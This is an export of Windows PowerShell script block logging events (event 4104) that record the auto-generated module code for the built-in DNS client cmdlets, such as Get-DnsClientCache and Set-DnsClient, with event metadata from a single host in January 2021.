#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_DNSClientCache'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Clear-DnsClientCache
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
param(
[Parameter(ParameterSetName='Clear0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Clear0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Clear0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Clear', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientCache.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Clear-DnsClientCache' -Alias '*'
function Get-DnsClientCache
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientCache')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${Entry},
[Parameter(ParameterSetName='ByName')]
[Alias('RecordName')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByName')]
[Alias('RecordType')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.DnsClientCache.Type[]]
${Type},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.DnsClientCache.Status[]]
${Status},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.DnsClientCache.Section[]]
${Section},
[Parameter(ParameterSetName='ByName')]
[Alias('TTL')]
[ValidateNotNull()]
[uint32[]]
${TimeToLive},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${DataLength},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${Data},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Entry') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Entry})
$__cmdletization_queryBuilder.FilterByProperty('Entry', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Type') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Type})
$__cmdletization_queryBuilder.FilterByProperty('Type', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Status') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Status})
$__cmdletization_queryBuilder.FilterByProperty('Status', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Section') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Section})
$__cmdletization_queryBuilder.FilterByProperty('Section', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('TimeToLive') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${TimeToLive})
$__cmdletization_queryBuilder.FilterByProperty('TimeToLive', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DataLength') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DataLength})
$__cmdletization_queryBuilder.FilterByProperty('DataLength', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Data') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Data})
$__cmdletization_queryBuilder.FilterByProperty('Data', $__cmdletization_values, $true, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientCache.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientCache' -Alias '*'
ScriptBlock ID: bb65dc94-bd3c-42f3-a13f-30c463f78ff5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1957 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0004-2929-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_DNSClient'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Register-DnsClient
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
param(
[Parameter(ParameterSetName='Register0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Register0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Register0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Register', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClient.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Register-DnsClient' -Alias '*'
function Get-DnsClient
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClient')]
param(
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[Alias('Suffix')]
[ValidateNotNull()]
[string[]]
${ConnectionSpecificSuffix},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[bool[]]
${RegisterThisConnectionsAddress},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[bool[]]
${UseSuffixWhenRegistering},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ConnectionSpecificSuffix') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ConnectionSpecificSuffix})
$__cmdletization_queryBuilder.FilterByProperty('ConnectionSpecificSuffix', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RegisterThisConnectionsAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RegisterThisConnectionsAddress})
$__cmdletization_queryBuilder.FilterByProperty('RegisterThisConnectionsAddress', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('UseSuffixWhenRegistering') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${UseSuffixWhenRegistering})
$__cmdletization_queryBuilder.FilterByProperty('UseSuffixWhenRegistering', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClient.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClient' -Alias '*'
function Set-DnsClient
{
[CmdletBinding(DefaultParameterSetName='ByAlias', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClient')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByAlias', Mandatory=$true, Position=0)]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_DNSClient')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Suffix')]
[string]
${ConnectionSpecificSuffix},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${RegisterThisConnectionsAddress},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${UseSuffixWhenRegistering},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('ResetSuffix')]
[switch]
${ResetConnectionSpecificSuffix},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByAlias') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByAlias', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ConnectionSpecificSuffix')) {
[object]$__cmdletization_value = ${ConnectionSpecificSuffix}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ConnectionSpecificSuffix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ConnectionSpecificSuffix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegisterThisConnectionsAddress')) {
[object]$__cmdletization_value = ${RegisterThisConnectionsAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegisterThisConnectionsAddress'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegisterThisConnectionsAddress'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UseSuffixWhenRegistering')) {
[object]$__cmdletization_value = ${UseSuffixWhenRegistering}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseSuffixWhenRegistering'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseSuffixWhenRegistering'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ResetConnectionSpecificSuffix')) {
[object]$__cmdletization_value = ${ResetConnectionSpecificSuffix}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ResetConnectionSpecificSuffix'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ResetConnectionSpecificSuffix'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClient.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClient' -Alias '*'
ScriptBlock ID: b98a3e00-c072-4739-b1e3-ea5963b92a43
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1956 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0002-cffe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
xml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
